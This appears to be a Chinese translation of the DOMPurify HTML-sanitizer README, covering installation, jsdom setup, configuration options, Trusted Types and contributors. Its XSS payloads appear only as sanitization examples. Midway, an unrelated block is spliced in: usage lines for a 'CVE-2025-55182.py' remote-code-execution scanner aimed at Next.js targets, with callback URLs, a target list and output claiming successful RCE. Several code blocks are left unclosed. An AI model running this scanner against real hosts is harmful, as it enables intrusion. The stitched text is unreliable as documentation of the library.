### 使用经过压缩和测试的生产版本（提供 source-map）```html
<script type="text/javascript" src="dist/purify.min.js"></script>

或者，如果你喜欢使用 Angular 或类似框架，也许这个：```js
import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize('<b>hello there</b>');

### 是否存在潜在陷阱？

请注意，如果你_先_清理 HTML，_然后_再修改它，很容易**使清理效果失效**。如果你在清理后将清理过的标记提供给另一个库，请确保该库不会自行处理 HTML。请参阅[安全目标与威胁模型](https://github.com/cure53/DOMPurify/wiki/Security-Goals-&-Threat-Model)了解安全使用方法和需要三思的标签/属性，以及[攻击类别与绕过历史](https://github.com/cure53/DOMPurify/wiki/Attack-Classes-&-Bypass-History)了解为什么后处理和更改标记上下文会破坏清理效果。

### 好的，有道理，继续吧

清理标记后，你还可以查看 `DOMPurify.removed` 属性，了解哪些元素和属性被移除了。请**不要使用**此属性来做任何安全关键决策。这只是一个满足好奇心的小工具。

### 在服务器上运行 DOMPurify

DOMPurify 在技术上也可以配合 Node.js 在服务端运行。我们的支持力求遵循 [Node.js 发布周期](https://nodejs.org/en/about/previous-releases)。

在服务器上运行 DOMPurify 需要存在 DOM，这大概不会让人意外。通常，[jsdom](https://github.com/jsdom/jsdom) 是首选工具，我们**强烈建议**使用最新版本的 _jsdom_。

为什么？因为已知旧版本的 _jsdom_ 存在缺陷，_即使_ DOMPurify 100% 正确执行所有操作，也会导致 XSS。例如，_jsdom v19.0.0_ 中存在**已知攻击向量**，这些在 _jsdom v20.0.0_ 中已修复——因此我们真的建议保持 _jsdom_ 更新。

另请注意，虽然存在 [happy-dom](https://github.com/capricorn86/happy-dom) 等工具，但目前**不被认为安全**。目前不建议将 DOMPurify 与 _happy-dom_ 结合使用，这很可能导致 XSS。关于为什么你选择的服务端 DOM 是你可信计算基的一部分的背景信息，请参阅[攻击类别与绕过历史](https://github.com/cure53/DOMPurify/wiki/Attack-Classes-&-Bypass-History)。

除此之外，你可以在服务器上使用 DOMPurify。大概吧。这实际上取决于 _jsdom_ 或你在服务端使用的任何 DOM。如果你能接受这一点，以下是如何让它工作的方法：```bash
npm install dompurify
npm install jsdom

或者，如果你更喜欢使用导入方式，也可以这样：```js
import { JSDOM } from 'jsdom';
import DOMPurify from 'dompurify';

const window = new JSDOM('').window;
const purify = DOMPurify(window);
const clean = purify.sanitize('<b>hello there</b>');

## 使用示例

### 1. 基本用法

```bash
# 扫描单个目标
python3 CVE-2025-55182.py -u http://target.com

# 扫描多个目标
python3 CVE-2025-55182.py -f targets.txt

# 使用自定义回调域名
python3 CVE-2025-55182.py -u http://target.com -c your-domain.com

# 使用自定义回调 URL
python3 CVE-2025-55182.py -u http://target.com -r http://your-server.com/callback

# 使用代理
python3 CVE-2025-55182.py -u http://target.com -p http://127.0.0.1:8080

# 调整超时和线程数
python3 CVE-2025-55182.py -f targets.txt -t 20 --timeout 15

# 详细输出
python3 CVE-2025-55182.py -u http://target.com -v

# 保存结果
python3 CVE-2025-55182.py -f targets.txt -o results.txt

http://target1.com
https://target2.com:3000
http://target3.com:8080

// 易受攻击的代码模式
function decodeAction(data) {
    const parsed = JSON.parse(data);
    // 缺少原型污染防护
    return Object.assign({}, parsed);
}

[+] 目标: http://target.com
[+] 检测到 Next.js 应用
[+] 版本: 15.0.0
[+] 存在漏洞: CVE-2025-55182
[+] 已发送回调: http://your-server.com/callback
[+] RCE 验证成功!

## 有演示吗？

当然有演示！[体验 DOMPurify](https://cure53.de/purify)

## 如果我发现了安全漏洞怎么办？

首先，请立即通过[电子邮件](mailto:[email protected])联系我们，以便我们着手修复。[PGP 密钥](https://keyserver.ubuntu.com/pks/lookup?op=vindex&search=0xC26C858090F70ADA)

此外，你很可能有资格获得漏洞赏金！[Fastmail](https://www.fastmail.com/) 的优秀团队在其服务中使用了 DOMPurify，并将我们的库纳入了他们的漏洞赏金范围。因此，如果你找到了绕过或削弱 DOMPurify 的方法，也请查看他们的网站和[漏洞赏金信息](https://www.fastmail.com/about/bugbounty/)。

## 能给一些净化示例吗？

净化后的标记是什么样的？嗯，[演示](https://cure53.de/purify)展示了一大堆恶意元素的效果。不过，我们也来展示一些更小的示例吧！```js
DOMPurify.sanitize(''); // becomes <img src="https://raw.githubusercontent.com/cure53/dompurify/main/x">
DOMPurify.sanitize('<svg><g/onload=alert(2)//<p>'); // becomes <svg><g></g></svg>
DOMPurify.sanitize('<p>abcdef</p>'); // becomes <p>abc</p>
DOMPurify.sanitize('<math><mi//xlink:href="data:x,<script>alert(4)</script>">'); // becomes <math><mi></mi></math>
DOMPurify.sanitize('<TABLE><tr><td>HELLO</tr></TABL>'); // becomes <table><tbody><tr><td>HELLO</td></tr></tbody></table>
DOMPurify.sanitize('<UL><li><A HREF=//google.com>click</UL>'); // becomes <ul><li><a href="//google.com">click</a></li></ul>

当未提供 `TRUSTED_TYPES_POLICY` 时，DOMPurify 会尝试创建其内部名为 `dompurify` 的 Trusted Types 策略。如果你的页面已经定义了自己的策略，并配合严格的 CSP（例如 `trusted-types my-organization`），且该 CSP 不允许名为 `dompurify` 的策略，则此尝试会被浏览器阻止，并记录一条 `TrustedTypes policy dompurify could not be created.` 警告以及 CSP 违规。

要阻止 DOMPurify 创建其内部回退策略，请传入 `TRUSTED_TYPES_POLICY: null`。当你从自己的策略的 `createHTML` 内部调用 `DOMPurify.sanitize` 时，这是正确的选择，这意味着你不必把 `dompurify` 添加到 CSP 的 `trusted-types` 允许列表中。```js
window.trustedTypes.createPolicy('my-organization', {
  createHTML: (input) =>
    DOMPurify.sanitize(input, { TRUSTED_TYPES_POLICY: null }),
});

### 控制我们的允许列表和阻止列表```js
// allow only <b> elements, very strict
const clean = DOMPurify.sanitize(dirty, { ALLOWED_TAGS: ['b'] });

// allow only <b> and <q> with style attributes
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['b', 'q'],
  ALLOWED_ATTR: ['style'],
});

// allow all safe HTML elements but neither SVG nor MathML
// note that the USE_PROFILES setting will override the ALLOWED_TAGS setting
// so don't use them together
const clean = DOMPurify.sanitize(dirty, { USE_PROFILES: { html: true } });

// allow all safe SVG elements and SVG Filters, no HTML or MathML
const clean = DOMPurify.sanitize(dirty, {
  USE_PROFILES: { svg: true, svgFilters: true },
});

// allow all safe MathML elements and SVG, but no SVG Filters
const clean = DOMPurify.sanitize(dirty, {
  USE_PROFILES: { mathMl: true, svg: true },
});

// change the default namespace from HTML to something different
const clean = DOMPurify.sanitize(dirty, {
  NAMESPACE: 'http://www.w3.org/2000/svg',
});

// leave all safe HTML as it is and add <style> elements to block-list
const clean = DOMPurify.sanitize(dirty, { FORBID_TAGS: ['style'] });

// leave all safe HTML as it is and add style attributes to block-list
const clean = DOMPurify.sanitize(dirty, { FORBID_ATTR: ['style'] });

// extend the existing array of allowed tags and add <my-tag> to allow-list
const clean = DOMPurify.sanitize(dirty, { ADD_TAGS: ['my-tag'] });

// extend the existing array of allowed attributes and add my-attr to allow-list
const clean = DOMPurify.sanitize(dirty, { ADD_ATTR: ['my-attr'] });

// use functions to control which additional tags and attributes are allowed
const allowlist = {
  one: ['attribute-one'],
  two: ['attribute-two'],
};
const clean = DOMPurify.sanitize(
  '<one attribute-one="1" attribute-two="2"></one><two attribute-one="1" attribute-two="2"></two>',
  {
    ADD_TAGS: (tagName) => {
      return Object.keys(allowlist).includes(tagName);
    },
    ADD_ATTR: (attributeName, tagName) => {
      return allowlist[tagName]?.includes(attributeName) || false;
    },
  }
); // <one attribute-one="1"></one><two attribute-two="2"></two>

// prohibit ARIA attributes, leave other safe HTML as is (default is true)
const clean = DOMPurify.sanitize(dirty, { ALLOW_ARIA_ATTR: false });

// prohibit HTML5 data attributes, leave other safe HTML as is (default is true)
const clean = DOMPurify.sanitize(dirty, { ALLOW_DATA_ATTR: false });

### 与 URI 值相关的控制行为```js
// extend the existing array of elements that can use Data URIs
const clean = DOMPurify.sanitize(dirty, { ADD_DATA_URI_TAGS: ['a', 'area'] });

// extend the existing array of elements that are safe for URI-like values (be careful, XSS risk)
const clean = DOMPurify.sanitize(dirty, { ADD_URI_SAFE_ATTR: ['my-attr'] });

### 影响返回类型```js
// return a DOM HTMLBodyElement instead of an HTML string (default is false)
const clean = DOMPurify.sanitize(dirty, { RETURN_DOM: true });

// return a DOM DocumentFragment instead of an HTML string (default is false)
const clean = DOMPurify.sanitize(dirty, { RETURN_DOM_FRAGMENT: true });

// use the RETURN_TRUSTED_TYPE flag to turn on Trusted Types support if available
const clean = DOMPurify.sanitize(dirty, { RETURN_TRUSTED_TYPE: true }); // will return a TrustedHTML object instead of a string if possible

// use a provided Trusted Types policy
const clean = DOMPurify.sanitize(dirty, {
  // supplied policy must define createHTML and createScriptURL
  TRUSTED_TYPES_POLICY: trustedTypes.createPolicy('dompurify', {
    createHTML(s) {
      return s;
    },
    createScriptURL(s) {
      return s;
    },
  }),
});

// opt out of DOMPurify's internal `dompurify` Trusted Types policy entirely
// (useful when your CSP `trusted-types` allowlist does not include `dompurify`)
const clean = DOMPurify.sanitize(dirty, { TRUSTED_TYPES_POLICY: null });

### 关于从钩子中调用 `sanitize()` 的说明

**`DOMPurify.sanitize()` 不可重入。** 请不要在钩子内部调用它，也不要在诸如 `CUSTOM_ELEMENT_HANDLING.tagNameCheck` 或 `attributeNameCheck` 之类的配置回调中调用它。这些回调运行在活动清理过程的_中间_。

嵌套的 `sanitize()` 调用会重新读取传递给它的配置，并在此过程中**替换外层过程仍在使用的配置**。随后，外层文档的其余部分将按照嵌套调用的配置而非你的配置进行清理。由于嵌套调用通常使用默认配置运行，严格的 `ALLOWED_TAGS` 允许列表可能会在文档处理到一半时悄无声息地放宽回默认配置，且不会产生任何错误或警告。

如果你需要清理嵌套标记，例如属性值中携带的 HTML 片段，你有两个安全选项。要么使用 [`DOMPurify.setConfig`](#persistent-configuration) 一次性设置配置，而不是每次调用时传递配置，因为持久配置会被嵌套调用共享，并在整个过程中保持生效；要么在钩子期间收集这些片段，并在外层调用返回_之后_用单独的 `sanitize()` 调用清理它们。

## 已移除的配置

| 选项            | 起始版本 | 说明                     |
| --------------- | -------- | ------------------------ |
| SAFE_FOR_JQUERY | 2.1.0    | 无需替代方案。           |

## 持续集成

我们目前使用 GitHub Actions 结合 Playwright。这使我们能够在每次提交时确认一切在相关的现代浏览器中正常工作，并且一个单独的定时和合并时工作流会在较旧的引擎快照上重新运行测试套件，从而也能捕获过时浏览器上的故障。在此查看构建日志：https://github.com/cure53/DOMPurify/actions

你还可以通过执行 `npm run test` 进一步运行本地测试。

所有相关提交都将使用密钥 `0x24BB6BF4` 进行签名以增强安全性（自 2016 年 4 月 8 日起）。

### 开发与贡献

#### 安装（`npm i`）

我们正式支持 `npm`。GitHub Actions 工作流配置为使用 `npm` 安装依赖。当使用已弃用版本的 `npm` 时，我们无法完全确保所安装依赖的版本，这可能会导致意外问题。

#### 脚本

我们在预提交工作流中使用通过 `xo` 运行的 ESLint 来帮助确保代码一致性。此外，我们使用 [Prettier](https://github.com/prettier/prettier) 进行源代码和 Markdown 格式化，`/dist` 资源通过 `rollup` 构建。

以下是我们的 npm 脚本：

- `npm run dev` 构建未压缩的 UMD 包，同时监视源文件变化
- `npm run test` 对源代码进行 lint，通过 jsdom 运行测试，并通过 Playwright 在 Chromium 中运行浏览器测试
  - `npm run test:jsdom` 仅通过 jsdom 运行测试
  - `npm run test:happydom` 通过 happy-dom 运行测试套件（不受支持的环境；作为健壮性检查保留，而非兼容性承诺）
  - `npm run test:browser` 仅通过 Playwright 运行测试
  - `npm run test:browser:legacy` 在较旧的浏览器引擎上运行测试套件（将 `PW_MODULE` 指向一个固定版本的旧 Playwright 安装；参见 `.github/workflows/legacy-browsers.yml`）
  - `npm run test:ci` 运行 jsdom 和 Playwright 的 CI 测试流程
  - `npm run test:fuzz` 运行一个覆盖 `sanitize()` 和 CONFIG 的小型模糊测试器
- `npm run bench` 对构建后的 `dist/purify.cjs` 运行 jsdom 微基准测试（需先构建；`--json` 和 `--compare a.json b.json` 支持跨分支的 A/B 运行——结果仅供参考，请在真实浏览器中确认面向用户的声明）
- `npm run coverage` 构建插桩包，运行 jsdom 测试套件，并将本地 HTML 行/分支覆盖率报告写入 `coverage/index.html`（仅限 jsdom 范围，不在 CI 中运行）
  - `npm run build:cov` 仅构建插桩覆盖率包
- `npm run lint` 使用通过 xo 运行的 ESLint 对源代码进行 lint
- `npm run format` 使用 Prettier 格式化 JavaScript/TypeScript 和 Markdown 源文件
  - `npm run format:js` 仅格式化 JavaScript/TypeScript 源文件
  - `npm run format:md` 仅格式化 Markdown 文件
- `npm run build` 构建类型声明和分发包，然后修复并清理生成的类型
  - `npm run build:types` 仅生成 TypeScript 声明文件
  - `npm run build:rollup` 构建所有 Rollup 包
  - `npm run build:umd` 仅构建未压缩的 UMD 包
  - `npm run build:umd:min` 仅构建压缩的 UMD 包
  - `npm run build:es` 仅构建 ES 模块包
  - `npm run build:cjs` 仅构建 CommonJS 包
  - `npm run build:fix-types` 后处理生成的类型文件
  - `npm run build:cleanup` 清理临时生成的类型输出
- `npm run verify-typescript` 运行 TypeScript 验证脚本
- `npm run commit-amend-build` 运行维护者辅助脚本以修正构建输出

注意：所有运行脚本均通过 `npm run <script>` 触发。

还有更多的 npm 脚本，但它们主要用于与 CI 集成，或者是“私有的”，例如在每次提交时修正构建分发文件。

## 安全邮件列表

我们维护一个邮件列表，每当 DOMPurify 发布**安全关键**版本时都会通知。这意味着，如果有人发现了绕过方法并且我们通过发布修复了它（当发现绕过方法时总是如此），就会向该列表发送邮件。这通常在得知绕过方法后的几分钟或几小时内发生。可以在此处订阅该列表：

[https://lists.ruhr-uni-bochum.de/mailman/listinfo/dompurify-security](https://lists.ruhr-uni-bochum.de/mailman/listinfo/dompurify-security)

功能版本不会在此列表中公布。

## 谁做出了贡献？

许多人帮助 DOMPurify 成为今天的样子，他们值得被认可！

[gnyselcuk](https://github.com/gnyselcuk), [leechristensen](https://github.com/leechristensen),[offset](https://github.com/offset), [Bankde](https://github.com/Bankde), [lukewarlow](https://github.com/lukewarlow), [DEMON1A](https://github.com/DEMON1A), [fg0x0](https://github.com/fg0x0), [kodareef5](https://github.com/kodareef5), [DavidOliver](https://github.com/DavidOliver), [1Jesper1](https://github.com/1Jesper1), [bencalif](https://github.com/bencalif), [trace37labs](https://github.com/trace37labs), [eddieran](https://github.com/eddieran), [christos-eth](https://github.com/christos-eth), [researchatfluidattacks](https://github.com/researchatfluidattacks), [frevadiscor](https://github.com/frevadiscor), [Rotzbua](https://github.com/Rotzbua), [binhpv](https://github.com/binhpv), [MariusRumpf](https://github.com/MariusRumpf), [prasadrajandran](https://github.com/prasadrajandran), [Cybozu 💛💸](https://github.com/cybozu), [hata6502 💸](https://github.com/hata6502), [openclaw 💸](https://github.com/openclaw), [intra-mart-dh 💸](https://github.com/intra-mart-dh), [nelstrom ❤️](https://github.com/nelstrom), [hash_kitten ❤️](https://twitter.com/hash_kitten), [kevin_mizu ❤️](https://twitter.com/kevin_mizu), [icesfont ❤️](https://github.com/icesfont), [reduckted ❤️](https://github.com/reduckted), [dcramer 💸](https://github.com/dcramer), [JGraph 💸](https://github.com/jgraph), [baekilda 💸](https://github.com/baekilda), [Healthchecks 💸](https://github.com/healthchecks), [Sentry 💸](https://github.com/getsentry), [jarrodldavis 💸](https://github.com/jarrodldavis), [CynegeticIO](https://github.com/CynegeticIO), [ssi02014 ❤️](https://github.com/ssi02014), [GrantGryczan](https://github.com/GrantGryczan), [Lowdefy](https://twitter.com/lowdefy), [granlem](https://twitter.com/MaximeVeit), [oreoshake](https://github.com/oreoshake), [tdeekens ❤️](https://github.com/tdeekens), [peernohell ❤️](https://github.com/peernohell), [is2ei](https://github.com/is2ei), [SoheilKhodayari](https://github.com/SoheilKhodayari), [franktopel](https://github.com/franktopel), [NateScarlet](https://github.com/NateScarlet), [neilj](https://github.com/neilj), [fhemberger](https://github.com/fhemberger), [Joris-van-der-Wel](https://github.com/Joris-van-der-Wel), [ydaniv](https://github.com/ydaniv), [terjanq](https://twitter.com/terjanq), [filedescriptor](https://github.com/filedescriptor), [ConradIrwin](https://github.com/ConradIrwin), [gibson042](https://github.com/gibson042), [choumx](https://github.com/choumx), [0xSobky](https://github.com/0xSobky), [styfle](https://github.com/styfle), [koto](https://github.com/koto), [tlau88](https://github.com/tlau88), [strugee](https://github.com/strugee), [oparoz](https://github.com/oparoz), [mathiasbynens](https://github.com/mathiasbynens), [edg2s](https://github.com/edg2s), [dnkolegov](https://github.com/dnkolegov), [dhardtke](https://github.com/dhardtke), [wirehead](https://github.com/wirehead), [thorn0](https://github.com/thorn0), [styu](https://github.com/styu), [mozfreddyb ❤️](https://github.com/mozfreddyb), [mikesamuel](https://github.com/mikesamuel), [jorangreef](https://github.com/jorangreef), [jimmyhchan](https://github.com/jimmyhchan), [jameydeorio](https://github.com/jameydeorio), [jameskraus](https://github.com/jameskraus), [hyderali](https://github.com/hyderali), [hansottowirtz](https://github.com/hansottowirtz), [hackvertor](https://github.com/hackvertor), [freddyb](https://github.com/freddyb), [flavorjones](https://github.com/flavorjones), [djfarrelly](https://github.com/djfarrelly), [devd](https://github.com/devd), [camerondunford](https://github.com/camerondunford), [buu700](https://github.com/buu700), [buildog](https://github.com/buildog), [alabiaga](https://github.com/alabiaga), [Vector919](https://github.com/Vector919), [Robbert](https://github.com/Robbert), [GreLI](https://github.com/GreLI), [FuzzySockets](https://github.com/FuzzySockets), [ArtemBernatskyy](https://github.com/ArtemBernatskyy), [@garethheyes](https://twitter.com/garethheyes), [@shafigullin](https://twitter.com/shafigullin), [@mmrupp](https://twitter.com/mmrupp), [@irsdl](https://twitter.com/irsdl),[ShikariSenpai](https://github.com/ShikariSenpai), [ansjdnakjdnajkd](https://github.com/ansjdnakjdnajkd), [@asutherland](https://twitter.com/asutherland), [@mathias](https://twitter.com/mathias), [@cgvwzq](https://twitter.com/cgvwzq), [@robbertatwork](https://twitter.com/robbertatwork), [@giutro](https://twitter.com/giutro), [@CmdEngineer\_](https://twitter.com/CmdEngineer_), [@avr4mit](https://twitter.com/avr4mit), [davecardwell](https://github.com/davecardwell), [Develop-KIM](https://github.com/Develop-KIM), [asamuzaK](https://github.com/asamuzaK), [fishjojo1 ❤️](https://github.com/fishjojo1), [Rikuxx0](https://github.com/Rikuxx0), [donmccurdy](https://github.com/donmccurdy), [hhk-png](https://github.com/hhk-png), [elrion018](https://github.com/elrion018), [michalnieruchalski-tiugo](https://github.com/michalnieruchalski-tiugo), [reey](https://github.com/reey), [KanhaKanhaiya](https://github.com/KanhaKanhaiya), [odaysec](https://github.com/odaysec), [Akokonunes](https://github.com/Akokonunes), [alirezarouhbakhsh](https://github.com/alirezarouhbakhsh), [Jaybhade](https://github.com/Jaybhade) 以及特别感谢 [@securitymb ❤️](https://twitter.com/securitymb) 和 [@masatokinugawa ❤️](https://twitter.com/masatokinugawa)